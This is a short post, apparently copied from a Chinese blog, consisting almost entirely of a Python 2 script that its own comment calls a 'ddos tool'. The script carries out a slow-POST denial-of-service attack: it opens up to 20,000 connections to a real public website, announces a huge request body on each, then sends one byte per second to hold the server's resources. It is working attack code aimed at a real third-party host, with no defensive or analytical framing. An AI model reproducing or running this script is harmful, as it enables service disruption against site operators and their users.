从这抄过来的：http://blog.csdn.net/jeepxiaozi/article/details/8799684


#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf)
            print "Send buf OK!,conn=%d\n"%i
            socks.append(s)
        except Exception,ex:
            print "Could not connect to server or send error:%s"%ex
            time.sleep(10)
#end def

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f")
                #print "send OK!"
            except Exception,ex:
                print "Send Exception:%s\n"%ex
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())

conn_th.start()
send_th.start()